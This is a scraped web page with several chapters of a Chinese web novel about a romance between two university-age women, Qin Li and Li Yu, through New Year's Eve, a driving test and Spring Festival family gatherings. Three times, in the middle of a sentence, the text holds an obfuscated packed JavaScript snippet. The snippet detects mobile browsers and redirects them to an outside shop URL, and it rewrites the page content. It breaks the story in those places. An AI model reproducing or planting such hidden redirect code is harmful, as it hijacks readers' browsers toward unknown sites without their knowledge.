能跟凤栖这样聊上几句,还知道她也是猎人同好,秦离已经无比满足了。 她晕乎乎地看着合照,笑得有点开心,转头就看见黎羽站在身后盯着她。 “……阿羽……” 秦离小跑过去,牵着她的手,明明没做什么,但就是有点心虚。 黎羽望了那边一眼,声音听不出情绪:“那就是你很喜欢的那个coser哦,确实挺好看的。” 秦离小心翼翼观察她的脸色,声音很娇:“你生气啦?” 黎羽绷着脸,半天没说话,直到秦离神情愈发不安,才突然笑了:“逗你的,还要再去拍点照吗?” 秦离松了口气,也不打算继续呆在这里了,摇摇头:“你陪我去游场吧。” “嗯。” 秦离带黎羽去各种摊位上逛。她买了点喜欢的周边和本子,黎羽也选了只猩猩公仔,是她近些年难得看过的番。 那只公仔做得活灵活现,看着丑丑的,秦离抓着它哈哈大笑。 手上拎的袋子越来越多,路上,秦离遇到了很多基友,不断集邮,东西都让黎羽帮忙拿着。 是一贯的漫展游场日常。1 大队已经找了个好位置,相机灯光全部架好了,开始拍个人和团体场照。 秦离刚好赶上。 她和基友们陆续去拍着,聊着,永远有说不完的话题。 她一开始还时不时跟黎羽说两句,但跟基友们聊兴奋后,就顾不上了。 拍场照也是件很费时的事,更不用说她们这么多人,花了一个多小时才搞定。 秦离喜上眉梢,跟基友们说得意犹未尽,还约好了晚上去吃寿喜烧。这时,蒸蒸推了推她:“你对象还在那呢。” 秦离恍然,抬头看见黎羽仍站在原地,眉头微皱,低头看手机,好像在发消息。 “阿羽……”秦离跑过去,期待问道,“晚上大家说一起去人广吃寿喜烧,你……” 黎羽打断她:“刚刚收到消息,有个项目临时出了点问题,我得去现场看看。” “这样啊……”秦离有点失落。 黎羽拍了拍她的头:“今天玩得很开心吧?” “嗯……”秦离忸怩着,又为今天没有顾好黎羽而有些内疚,但和同好一起玩起来真的很快乐。 黎羽轻声笑着,捏了捏她的脸:“不用顾及我,我在你也玩不好。去跟她们快乐吧,我先走了。” “……好吧。” 秦离应了,看着黎羽转身离开,淹没在人群里。 她心里空落落的,有些不安,但很快又被基友们的吵闹声掩盖,一瞬即逝。 48. Chapter 48 2013年的尾巴溜得很快,再没什么惊奇的事发生,秦离不过就是在上课、备考、恋爱中来来回回,像众多普通的大学生一样。 她最终还是决定不再准备后续出国申请了,这绝对不是被写项目计划书和找推荐人这样未知的事所难倒,只是能单纯用考试解决的事,对她来说更有安全感。 国内考研不需要走陌生流程,是与高考相似的考核录取方式,只是多了一场面试罢了。 而考试,是她十多年来最熟悉也最擅长的事了。 GRE培训课程已经接近尾声了。她没有停课,也打算之后去考一次。毕竟课都上完了,不考点成绩出来太可惜了。而且之前听教AW(写作)的老师说,AW拿分很难的,如果能拿到高分,甚至可以直接入职当这门课的老师了。 秦离心里念着这个,想着如果真的拿个不错的成绩,先在培训机构教教书赚点外快也不错呢。 等寒假吧,寒假结束后参加完GRE考试,她就可以全身心准备考研了。 秦离自觉安排得很好。既然不出国,绩点也没那么重要了,应付期末考试别挂科就行,她压力小了很多。 很快,就到年末了。 梦城的惯例,跨年那晚江边会亮各种漂亮的灯,有跨年仪式。秦离已经和黎羽约好,吃完晚饭,一起去江边跨年。 晚上十点,地铁上人很多,都是去江边的。两人站在车厢角落,被挤着,身体紧贴在一起,不用抓手环也不会摔着。 最近两人都太忙了,被空调吹得昏昏欲睡,半梦半醒。 直到人群涌出去,黎羽身体一晃,余光瞥到站点名,猛地惊醒,连忙叫秦离:“小乖,醒醒,我们坐过站了。” 秦离迷迷糊糊,被黎羽抓着手,艰难地顺着人群往外挤,总算赶在车门关闭前出来了。 下车后,秦离挠挠头:“诶,我们怎么坐到江东来了。” “还有阵子才到十二点,我们可以坐回去。” 秦离看着车厢前排着的长队,没有两三轮挤不进去,放弃了。 “算啦,江东也可以跨年嘛,一样的。” 一般来说,大部分人会选择去江西跨年,因为倒计时的灯光是从江东打过去的,但江东没有江西外滩的路来得长而直,不太看得清。而且江东这边多是高楼大厦,电子屏上会亮很多花样,也是江西那边看得更清楚些。 不过既然已经过来了,秦离就懒得再坐回去了。 只要和黎羽一起,在哪里都很开心。 不过即便江西是主战场,江东这边依旧是人山人海。大家拉着亲人朋友,脸上都洋溢着喜悦的笑容,人声鼎沸。 两人的手牵得很紧,在人群中穿梭着。有人看向她们,目光又很快离开。 这一刻,她们只是众多亲密人群中普通的两个人,一起迎接新生的时刻。 黎羽找了个合适的高点位置,两人在寒风中紧紧依偎着,脸因长时间走路而发红。 “冷吗?”黎羽摸了摸她的手,有些冰。 秦离摇摇头,眼睛很亮,说话带着白气:“我第一次过来跨年诶,真好~” 黎羽也笑了:“我也是第一次过来,之前都嫌太远了。” 秦离听了更开心了,兴奋道:“那我们以后跨年都可以过来。” 黎羽应了声,看了看时间:“还有十分钟。” 所有人都在原地站着,等待旧年的最后十分钟结束。 到最后一分钟了,不知道是哪边带着开始喊倒计时。 秦离跟着大家一起喊:“十,九,八……” “三,二,一!” “新年快乐!” 两人四目对视,异口同声,夜晚的霓虹灯映着眼瞳里的万丈光芒。 秦离忍不住扑进黎羽怀里,抱住她,抬头送上自己的唇。 黎羽回抱,和她紧紧拥吻。 华丽的灯光和喧闹的人声是最好的背景色。 这一刻,她们忘记了这是大庭广众之下,忘记了一切顾虑,没有看向过去的隐痛,没有看向未来的惶恐。 只有当下,不顾一切表达爱意的当下。 时间被无限延长,直到呼吸越来越急促,两人的唇与舌都开始发麻,终于分开。 秦离仍有些意犹未尽,靠在黎羽怀里轻喘气。 好半天回过神来,秦离才意识到:“奇怪,怎么没听到江对岸的声音?对了,还有倒计时的钟声也没有。” 她们这边简直跟炸开了锅一样。 黎羽摇头:“或许是离得太远了吧。” 漫长的等待只为了与身边人共享这新旧交替的一瞬。 两人顺着人群往外走,庞大的人流占据了所有街道。秦离这才意识到,这个点很难打到车了,决定先找个地方坐着,再说接下来去哪里。 她们运气不错,走了一公里多后,找了个通宵营业的咖啡厅,有桌人前面刚走。 两人决定等会再看能不能打到车。秦离刷着手机,突然惊呼:“天啊,阿羽,你快看新闻。” 原来,就在她们江东欢呼的时刻,江西那边的广场发生了踩踏事件。难怪她们没有听见对面的欢呼声,难怪新年钟声也没响起。 秦离又后怕又庆幸:“幸好……幸好我们没有坐回去。” 江西的广场是观看灯光秀的绝佳位置,许多人都会往那边去。如果她们在江西下车了,大概率也会往那边走。 黎羽安慰她:“没事,我们就算过去,也不会挤到前面去的。” 秦离想想,也是,两人都不是喜欢在人群里挤热闹的性格。 “哎,只希望别有什么伤亡吧。” 但因着这出事,原本欢喜的氛围打了折扣。 两人在咖啡厅里等了半个多小时,人依旧不见少,还是打不到车。秦离听说,附近三公里内的道路都被封了,不让车通行。 黎羽建议边走边等车。 从这里一条大道通往S大,路很笔直,两人就顺着这条道走。 往外走着,人慢慢变少,但车依旧是一辆也打不到。 秦离的高跟靴在地上踩出啪嗒的声音。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370178|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手舞足蹈着给黎羽讲许多故事,什么大一大二的时候经常跑到S大这边来参加高中校友的聚会,有些隔壁市的都会过来,能有二十多个人。 她们一摊晚饭,二摊唱K,三摊再宵夜,直接干到天亮,扛不住的人在酒店里从楼上倒到楼下,欢乐得不行。 不过那是过去了。 到大二下,许多人已经约不出来了。大家都有自己的事要忙,不再有闲心参加什么高中校友聚会,秦离很失落,却只能与朋友们渐行渐远。 说着说着,秦离越说越早,开始说起自己中学的事。她总是记得那些和朋友一起的难忘时刻,总是在怀念过去,拼命想要赶上朋友的变化,却在不知道什么时候就被抛在身后。 或者说是,无可奈何地走向不同道路。 彼时,秦离还不明白,明明过去她们是那么得要好,为什么转眼间就不再联系。她一次次发消息过去,一次次主动,对方的反应却越来越客气。 时光,真的有那么可怕?能带走所有的美好回忆和情谊…… 黎羽比她成熟许多,也见识了许多,很清楚,人生或许就是来来往往,两人之间的交集只停留在某个特定的空间,特定的时刻,过后便像两条交错的线条,走向各自的道路。 触碰的此刻,是过往相识的结束,也是未来离别的开始。 甚至包括…… 但秦离现在不懂,也不会愿意去懂的。 因此,黎羽什么也没讲,只是听秦离说着。 她们在空无一人的大道上走着,就像整个世界只有她们两个人一样,到后来已经不在意是否能打到车,一直走到了凌晨三点半。 这个点,去住酒店似乎有点太浪费了,秦离寻思,不如找个清吧喝点东西歇一歇。 两人找了家不吵闹的酒吧。店里没什么人,老板在吧台后面打游戏,见她们来了,也没多大热情。 酒柜里摆满了看上去很高大上的洋酒,秦离什么都不懂,点了杯听上去最熟悉的长岛冰茶。两人便靠在角落里,在手机上看电影。 电影是部老片子,叫《游园惊梦》,节奏很慢,宫泽理惠在里面很美。 酒吧里放着王若琳的歌,声音慵懒。 “一种念头在心中萌芽着 外面的雨打在窗口”① 深夜的梦城更冷了。空气变得潮湿,雨水淅淅沥沥落在地上,夹杂着盐一样的雪粒在霓虹灯里乱飘。窗户雾蒙蒙的,所有风景都透过那小小的一扇玻璃模糊成了一团,只有明的暗的光斑。 不知道什么时候,秦离眼睛已经闭上,头一歪,靠在墙壁上睡着了。 黎羽关掉电影,找老板要了条毛毯,盖在两人身上。她将秦离轻轻揽过来,靠在自己怀里。秦离不自觉动了动,找了个更加舒服的位置,手无意识抓着她的衣服。 店里除了老板按手柄的声音外,只有优雅的旋律缓慢流淌着。 “一直梦到你说受够了我 我也不要这样承受 或许说出去一会就再也没回过头 ……”① 49. Chapter 49 放寒假了。 黎羽说公司还有很多事要忙,自己要到腊月二十六七才走。秦离有心多留几天陪她,但黎羽说年底的活动项目很多,她怕是没时间闲下来,不想秦离为了她呆在这里,会很无聊的。 加上秦离家里知道她什么时候放假,催着她回去。寒假不比暑假自由,秦离找不到合适的理由,只能悻悻走了。 走的那天,黎羽本来公司有事,硬挤出时间送她。因为还牵挂着事,她眉头微皱着,有点心不在焉。 秦离不愿意让她为难,道:“阿羽,我一个人去机场就可以了,你有事先去忙吧。” 黎羽勾起些笑安抚她:“没事。而且我不在,你这箱子怎么办?” 秦离带了个超大的行李箱,正和黎羽一道艰难地提着下地铁楼梯。 看见她的笑容,秦离心弦放松些,卖乖地笑着。 分别时,秦离很不舍地抱着她,嘟囔着:“怎么又要这么久不见面了……哎,寒假不像暑假,家里肯定不会让我到处跑的,我没法去找你了。” 黎羽哄着人:“多陪陪家里人吧,本来就是过年……” “好哦,”时间关系,秦离不情不愿松开,声音闷闷的,“那你要多给我发消息,我会想你的。” “我也会想你的。”黎羽摸摸她的头,“快进去吧。” 安检的队伍很长,秦离三步一回头。 她排到一半,看见黎羽接了个电话就急着走了,心里空落落的,开始怀念去年的暑假。 哎,什么时候黎羽才能不那么忙了啊…… 回南城后,忙碌的生活开始了。 家里那么急着催她回来,是想她赶紧趁这个寒假练车,把驾照考了,不然之后就没什么时间了。 秦离自己挺喜欢开车,也想早点拿下驾照,对此倒不抗拒,就是每天早上要在寒风中爬起来学车,实在是太痛苦了。 一辆车四个人,在训练场里轮番练习。破破烂烂的驾校捷达,在不熟练的学员手上时不时就要熄几道火,车内的空调开了也没多大效果,还好人多挤着热乎。 秦离上手算快的,单边桥、S型弯道、直角转弯,包括倒车入库都没什么问题,就是坡上起步老熄火。对此她觉得不是自己的问题,还是这车太破了,离合稍微踩高点,这车就抖得像得了帕金森似的。 其他人练习时,秦离就发消息跟黎羽吐槽。 早上的时候不是那么忙,黎羽稍微有时间跟她闲聊,夸她,说等她拿了驾照,以后就换她开车带自己兜风了。 秦离对此喜闻乐见,想想就美滋滋的。 这时候,驾校考试已经有机器监测车辆是否有违规出线,但副驾也会坐个考官,同步人工监考。总的来说,通过率还挺低。 驾校师傅考前问她们,是要软考还是硬考,意思是都凭大家自愿。 软考嘛,就是给师傅一千八的打点费,师傅会联系考场那边,让考官放点水,不是太明显的违规动作就不管了,但不包过,至于里面多少钱是师傅自己吃,就不太清楚了,但肯定多少吃点。硬考,自然就是什么工作都不做,完全看考生自己的本事。 秦离自己有实力,不太乐意给这个钱,总觉得是作弊,但家里人不这么想。妈妈说,驾校和考场那边都是通气的,如果不塞这个红包,可能考试中会给你穿小鞋。 秦离问了同批的考生,大家都打算给这一千八。 她心里别扭得很,很讨厌这种所谓的社会规矩,便发消息向黎羽吐槽,本意是想获得些安慰和认同。没想到黎羽的观点也和她妈爸一样,觉得这种事上,还是活络下关系比较好。 【这个社会就是这样的。】 秦离忍不住与黎羽争论,得到的就是这样的答复。 她心里很闷,那两天除了早安和晚安外,都没怎么主动给黎羽发消息。黎羽似乎没有察觉她的情绪,像报备行程般,只时不时发消息跟她说自己在做什么。 秦离心里更闷了。 最后,她还是给了这一千八,是妈妈亲自封的红包。 教秦离的驾校师傅脾气算是温和的。她之前对他印象挺好,觉得他不像其他人那样大吵大闹,但现在看他笑着拿钱的模样,只觉得面目可憎。 不仅如此,提前一天到考场试车后,师傅又跟她们说,可以选车。给三百,考试当天就用她们现在试的车。 当然,依旧是自愿。 秦离很难受。但那一千八已经给了,现在也不差这三百。 她又掏了钱。来考试的人群里,有人给了,有人没给,大概是觉得前面已经给过打点费了,不需要再选车。 好在考试还算顺畅,秦离自觉没有犯什么错,一次通关。考官坐在副驾也一语不发,更让她觉得这好处费花得冤枉。 出来后,秦离才发现她们这批人通过率低得吓人,只有四五个人过了。不知道是不是巧合,她注意到,这几个人,包括她自己在内,都是塞了那一千八加三百的。 考科目三时,秦离憋着了一口气,天天在路上练习。这次,她没有再理会教练说的什么打点费,强烈要求家里人也不准给。 道路考试那天是个小雨天。两次机会,秦离在第二次才险险通过。 她很开心,考完就给黎羽连发了好几条消息说今天的事,其实就是想证明她的想法没错,不需要靠什么关系,也能做到想做的事。 黎羽那边依旧很忙,秦离知道的,她今天有个现场活动要维护,从早忙到晚。 但即使如此,黎羽还是很快回复她了:【恭喜我们小乖顺利通过考试[撒花][庆祝]我就知道你肯定没问题的。[摸头]】 平日里可爱的小表情看上去也没那么让人欢喜了。秦离知道黎羽在哄她,也知道她最近真的很忙很忙,这样还能抽出时间照顾她的情绪,已经是很在意她的。 但她就是觉得不得劲。 她这几天的辛苦,就是为了证明自己是对的,但黎羽却并没有察觉这点。 等年后再考完科目四理论考试,秦离就能顺利拿到驾照了。但她心中并不欢喜,回家就跑进卧室,闷在被子里刷手机,看小说,寻找其他欢愉。 家里人对她假期这副模样已经习以为常了,一开始没有察觉不对劲,直到吃饭也叫不起来人,爸爸发了火,才发现她心里那点小疙瘩。 一番开解,终于知道她心里在想什么了,妈妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370179|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭笑不得:“这有什么。” 但秦离执拗得很,妈妈便道:“你不喜欢,就加倍努力,让自己足够厉害,自然就可以无视关系打点了,像这样天天睡懒觉肯定是做不到的哦。” 爸爸在旁边想说什么,被妈妈一个眼神给堵回去了,示意别说其他的了。 秦离没察觉妈爸之间的小动作,被妈妈说得有些脸红:“我明天就开始加油做事。” “明天?”爸爸在一旁故意叹气,“明日复明日,明日何其多啊……” 秦离恼羞成怒:“知道啦!我吃完饭就努力!” 桌上一团和气,氛围也缓和下来。秦离的想法终于得到肯定,情绪被安抚了。 秦离确实奋起了几天,这天早上被爸爸叫停了:“先去采购吧。” “好耶!”秦离一甩书和笔,欢喜出门。 爸爸喜欢去市场买菜,觉得比商场里的要新鲜。秦离跟他一起,看新奇样在菜市里东瞧瞧,西看看,发现什么没见过的,有意思的就拍照发给黎羽看。 离除夕还有三天,黎羽似乎还没离开梦城。秦离问她怎么还不回去,她只说事情还没做完。 秦离心疼她,该死的,就算是创业公司,也不能这么辛苦啊。 怎么老搁着黎羽一个人折腾呢。 但黎羽坚持,秦离看得出她对这份事业很上心,也不好多劝。 爸爸去水产区了,秦离嫌那边腥味大,蹲在拐角这边看乌龟。 每个菜市场都有个卖花花草草和乌龟金鱼的地方,秦离正在看其中一个水缸。 那里面有两只还没有掌心大的乌龟,一大一小,两腮红红的,一小绺尾巴在水里甩来甩去,看着很灵活。老板扔了些龟粮进去,那只小的凶得很,不仅吞掉自己面前的,还要把大的扒拉开,抢它面前的,特别活泼。大的则慢悠悠伸着脖子,时不时咬一口小的剩下的,还挺自得。 秦离看着趣得很,把两只都买下了。 【它们关系好好哦,还会玩叠叠乐。我想着,一只叫竹子,一只就叫小绿吧。】 秦离买了个很大的带晒台的龟缸,边观察着小绿爬到竹子的龟壳上,边拍照发给黎羽看。 黎羽看着秦离发来的视频,两只小龟咬着一条肉丝的两端使劲扯,小的那只被扯得龟仰壳翻,然后脚一蹬快速翻了回来,旁边还有秦离的解说声和哈哈大笑。 她看着,脸上不自觉露出笑容。 董老师在旁边看见,打趣她:“又是女朋友的消息?” “嗯。”黎羽收起手机,没有多说,继续工作状态。 董老师知道她一贯不喜欢讲太多自己的私事,没有多问,但还是提了句:“你确定,过年不回去了?” 黎羽点头。 董老师并不知道她家里发生了什么事,也不好再问了,只道:“那年夜饭和我们一起吃吧,年三十的,一个人太冷清了。” 黎羽要推脱,但听董老师说,会叫上公司里其他两个不回家的人一道,最后还是同意了。 见她应了,董老师笑道:“对嘛。而且甜甜老念叨着想见你,刚好都一起了。” 想起那个活泼的小姑娘,黎羽也笑了笑。 50. Chapter 50 到除夕的前一天晚上,黎羽才跟她说,自己不回柳城过年了,就呆在梦城。 知道黎羽和她妈妈的情况,秦离没有多问,只是恼她,早点说的话,她就带她回来,在她家一起过年了。她们还可以整个年都在一起呢。 黎羽只说也是临时决定的。 秦离又问她,那除夕怎么办呢,岂不是她一个人孤零零的。黎羽便说了和董老师她们一起吃年夜饭的事。 秦离觉得有些别扭,听黎羽提到公司里其他几个留守的同事也会去,才觉得好些。 不过,她突然想起去年接的那通电话,问道:【董老师的妹妹也会去吗?】 黎羽已经忘记当时的事了,回答得很自然:【对,团年嘛,董老师肯定会带着亲妹妹一起的。】 【……这样哦。】 【怎么了?】 【没事啦,我就问问看有哪些人嘛。】 秦离自己心里有疙瘩,又不好说出来。毕竟没有真发生什么,揪着这事明说,显得她太小家子气了。 除夕这天大早上就开始忙碌。 今年,妈妈把外婆外公还有奶奶爷爷都接到南城来过年了。按照传统,她们家是中午吃团年饭,爸爸一大早就在厨房忙碌着,妈妈给他帮忙,她则在客厅里陪四个老人聊天。 因为小姨的事,秦离对外公印象差了很多,但是看着眼前乐呵呵给自己塞红包,一个劲夸她的小老头,又说不出什么不好的话。 哎,算了,大过年的。 秦离家忙到中午,家里七个人都很能喝,酒过N巡,到快三点才结束。 今天太阳很好,晒在人身上暖洋洋的。妈妈爸爸和她陪着四个老人出来散散步,回去收拾收拾,可以等着看春晚了。 秦离还念着黎羽那边,回祝福短信都回得心不在焉。 她盯着时间,估计黎羽那边饭吃得差不多了,跑回房间里打电话。 妈妈正在和外婆看电视上蔡明演小品呢,听见关门声望了一眼,神色莫测,转眼又继续和老人们说笑。她这几天脸色不大好,总有些咳嗽,外婆叮嘱她工作再忙,也要注意身体。 关上门,所有喧嚣都被隔在了外面。 秦离迫不及待拨通电话,响了几声后,那边才接通,声音通过听筒显得有些失真:“小乖?” “喂,”好多天没打电话了,秦离还有些紧张,“你们饭吃完了吗?” “还没有,不过快结束了。” “你们吃的什么呀,好吃吗?” 秦离趴在床上跟黎羽闲聊着。黎羽那边似乎有很多人,有点吵,听上去很热闹。她翻了个身,看着天花板,手上拨弄着黎羽送她的兔子项链,将兔子耳朵咬在嘴里。 黎羽正给她说着席上有哪些人,今晚的梦城又是什么样的。 突然,秦离听到旁边有个清脆的声音喊着:“小羽姐姐,你在跟谁打电话呀,快过来吃好吃的呀。” 秦离心中梗了下,从床上坐起来,问道:“刚刚是谁在跟你说话?” “嗯?董老师的妹妹。” ……又是董老师的妹妹…… 秦离心上像是被蚂蚁咬着般痛痒,说话都冒着酸味:“……小羽姐姐,她怎么叫得这么亲密……” 话到后面,变成了嘀咕声,即使是名正言顺的吃醋,秦离也羞于直白表现出来。 黎羽愣了下才反应过来,笑出声来,越笑越厉害,笑得秦离都要恼羞成怒了,才道:“小乖啊,她就是个九岁的小姑娘。” “……” 这时,刚刚说话的声音凑得更近了:“小羽姐姐,你再不过来我要生气了!” 这次,秦离听清楚了,这声音嫩生生的,一听就是个小孩。 黎羽又换了视频给她看,一个圆嘟嘟,扎着双马尾的小姑娘正扭着黎羽陪她玩呢。见视频这边出现秦离,又听黎羽介绍,一点不怕生地跟她挥手:“小离姐姐好,我是甜甜,今年九岁三个月啦。” 秦离硬撑着笑容跟小姑娘打招呼,黎羽又举着视频,把所有人扫了一圈,边道:“都给你看看?” 视频里,董老师她们也友好地跟她说着新年快乐。 等离开摄像头范围了,秦离才捂着脸道:“太丢人了。” 黎羽抿嘴笑着,跟她保证:“别担心,你不在,我也老老实实,洁身自好着的呢,拒绝一切引诱。” “好了好了,你别说了!”闹了个乌龙,秦离脸都红透了,大声阻止她再说下去。 终于,黎羽不再逗她,好好说话:“吃完饭我就回去了。” “那你晚上就一个人吗?”秦离急了,“你别因为我刚刚说的,就回避了呀。和同事一起也好,除夕夜就是要热热闹闹的。” 黎羽那边确实是结束了。她解释道:“不是回避,本来也只打算就吃顿饭聚一聚。” 她边下楼边继续和秦离通话,挂着电话没断,和董老师她们打招呼告别后,往地铁站走。 “不和同事一起回公司房子那边吗?” “嗯,”黎羽边走边说话,声音有点喘,“这几天,太累了,我回学校那边,一个人清净,好好歇几天。” 秦离心疼她,恨不得马上飞过去陪她。 黎羽是真无所谓。宿舍那边过年也可以呆着,小何还把钥匙留给她了,饿了可以直接在店里做饭,很方便。 黎羽到地铁站了,下楼梯后信号变差,声音开始断断续续。 这时,爸爸来敲门了:“勺勺,缩在房间里做什么呢,快出来。” “知道了,马上!”秦离吼了一声。 黎羽也听到了,道:“先挂了吧。我马上上地铁了,你也去好好陪陪家里人。” 秦离只能应了,不情不愿地出去,窝在沙发上和家人一起看春晚。她心不在焉,魂不守舍,全部注意力都放在小小的手机上,跟黎羽一直聊着,顺便吐槽春晚。 期间,家里人瞄了她好几次,她都没注意到。 今年的春晚说好看不好看,说难看不难看,好像也就那个样子。到十点半左右,老人们撑不住,先去睡了。 爸爸接了个电话,对母女两人狡黠一笑:“隔壁老张买了大几千的烟花,说郊外有个地方能集中放,问我们要不要一起去。” 妈妈对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370180|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此很感兴趣。秦离虽然对烟花不太热情,但也决定一起出去溜达溜达。 她手下不停,飞速给黎羽发消息:【小羽,等会我拍烟花给你看。】 开车过去半个多小时,到时已经十一点多了。 隔壁张叔是个人高马大的壮汉,老婆也是人高马大。她们有两个女儿,比秦离小些,都还在读中学,正是贪玩的时候。 张叔买的烟花装满了小半个越野车。三个孩子在大人带领下,在街道边摊了一大片。 这边是政府指定的烟花燃放点,是一片荒地,没有草和树木,远处是荒废的工厂建筑,里面什么也没有。旁边站着消防队员,随时做好应急处理。 她们来时,这里已经有很多人了。空气里弥漫着火药的味道,远处大型烟花一束接着一束飞上天,各式各样,大股大股的白色硝烟飘散着。 简直像外婆爱看的抗日战争片。 “哇——” 秦离感慨着这大场面,忙不迭录视频给黎羽看。 黎羽已经躺在床上了,让她注意安全。 近处已经不让放了。一片兵荒马乱中,几个大人抱着大件的盒子准备去远处连排放,两个小女孩帮忙搬着,也跑得飞快。 秦离也抱了个,穿越“枪林弹雨”,心惊胆战,生怕从哪里突然冒出个导弹袭击。 硬生生体验了一把战场的感觉。 她有点怕放烟花爆竹,小时候连响炮都不玩,只燃点什么仙女棒,这会走在这片易燃易炸高危区,更是小心翼翼。 但今天是除夕,她想给黎羽看漂亮的烟花。 视频打过去,黎羽那边很暗,只开了一盏夜灯,靠坐在床头,身影在暗光里模模糊糊。秦离这边亮光一片接着一片,白得刺眼。 黎羽没想到烟花放得这么密集,皱眉:“小乖,你还是到外边去吧,这里太危险了。” 秦离现在是呆在原地,进出都举步维艰,四面八方全是炮仗。她有些害怕,又觉得这种大场面很刺激,迫不及待跟黎羽分享。 “真的感觉就像打仗……” 黎羽那边本来很静,爆炸的尖锐声突然从手机涌出来,塞满整个阴暗的房间。 她看着屏幕里那张生动的脸,移不开目光。 “小羽,最后两分钟了!” 秦离鼻尖红红的,超大声地喊着她的名字。 黎羽这才意识到,新年的钟声马上就要敲响了。 她这边仍是沉寂,只有手心上的热闹。 爆炸的声音很吵,秦离必须拼命喊,才能让黎羽听到她的声音。 最后半分钟,所有人都点燃烟花,原本漆黑的天空亮如白昼,绚丽的光芒绽放着,转瞬即逝,又很快被更多耀眼闪亮的光芒遮掩。 只有足以呛得人咳嗽的浓烟和无数漆黑的残渣留下。 “阿羽,新年快乐!我……我爱你!” 新旧交替的那个瞬间,秦离喊出了她本以为自己不会说的那个字。 黎羽的嘴唇翕动。 但秦离的世界太过于吵闹。她不知道黎羽有没有听见她的话,也不知道黎羽说了什么。 51. Chapter 51 正月里来,走亲访友必不可少,天天忙着吃各种饭,酒也喝了不少。 酒桌上,那些认识的,不认识的阿姨叔叔们对秦离都很亲切,问着她最讨厌的问题。 在哪个学校读书?什么专业?大几了?毕业准备做什么?谈恋爱了吗? 过年长胖了哦,女孩子还是要控制控制体重。 秦离讨厌她们毫无边界地窥探她的所有隐私。虽然妈妈爸爸会帮她挡去一些,但还是烦人。 而且妈妈仍在咳嗽,年前的感冒拖到现在越来越厉害,一直不见好。 就这样还要去些不得不去的饭局,烦人。 她忍不住跟黎羽吐槽着这些烦心事,黎羽一如既往安慰她。但说过来,说过去,连黎羽的回应都变得单一,秦离自己都开始觉得反复说这些让人厌烦,担心黎羽听得腻烦。 而且,秦离并没有说太多长辈们催恋甚至催婚的事,一句带过。 她还记得当初在湖边黎羽说的相信她,担心说出来会让黎羽不安,却也知道和女生恋爱的事不便讲出来,每次吃饭只能闷着头硬抗。 过了初五,黎羽又开始忙了,忙到没有时间打电话,连消息都回得断断续续。 而且,从那天起,黎羽的情绪变得很不好。秦离也问了,但她含糊着没说原因,只说是工作的事。 见她不肯说,秦离也不愿强迫她讲。 初七这天是人过年,秦离一家和妈妈那边的亲戚团聚吃饭。 秦离这两天本就因为黎羽的事而烦闷,早上甚至没收到她发的早安,吃饭时黑着一张脸,偏偏二姨像是看不见她的脸色,一个劲拉着她问恋爱的事。 她应付着说现在不感兴趣,还不着急,二姨就开始一副过来人样子,说要趁着现在还在校园环境单纯,早点定下目标,又非要给她介绍对象,甚至席上就要拍她的照片,发给那边看看。 秦离不想她拍,委婉推辞,二姨还觉得她这是小姑娘害羞了,非要这么做。 秦离火一下就上来了,筷子一摔,声音尖锐:“我都说了不要拍!” 碗被撞到地上,摔出清脆的响声。原本热闹的饭桌一下子安静,所有人都看了过来。 二姨下不来台,摆出长辈的姿态,隐晦说着秦离不懂她的好意。 妈妈爸爸的脸色也不好看。 秦离实在是受不了,推椅子下桌,快步走了出去。 身后,她的手机放在桌上,亮着屏幕,连续进入好几条消息。 妈妈看见了,眼神闪烁。 秦离走到路边,蹲在树下缩成一团,越想越气,心里还委屈,喉咙梗得厉害,眼泪啪嗒往下掉。 过了一阵,妈妈出来了,没有像往常一样好好哄她,语气有点古怪:“先进切吃饭吧。” 秦离不想进去:“你们都好烦,我不想说恋爱的话题,能不能不要老问这个!” 妈妈表情更古怪了,欲言又止,最后只道:“我说了你二姨了,今天不拜这个,人都还在桌上,先把饭吃了。” 她说两句就要咳一阵,看着很疲累。 “妈妈,你没事吧?” “没事,早点吃完,我们早点回家。” 秦离本就不是个强硬的性格,看妈妈这么难受,也不想她为难,跟着回去了。 饭桌早已恢复之前的热闹,摔碎的碗已经被收拾了,仿佛刚才的争执只是点无关紧要的小插曲。 场上个个巧舌如簧,喝得红光满面,只有秦离一家沉默着,一语不发,气氛压抑。 秦离不敢玩手机了,闷着头吃饭,食不知味。 沉闷的氛围一直延续到回程的车上。 终于离开应酬的饭局,秦离迫不及待打开手机,发现黎羽发了好多条消息过来。 【小乖,我好想你。】 【你在做什么,这会有空吗?】 【我……有点难受……想听听你的声音……】 【是在忙吗,在吃饭?那我等你。】 【等你有空了,我们打打电话吧。】 【我好累啊……】 最后四个字后,黎羽再没有发消息过来了。 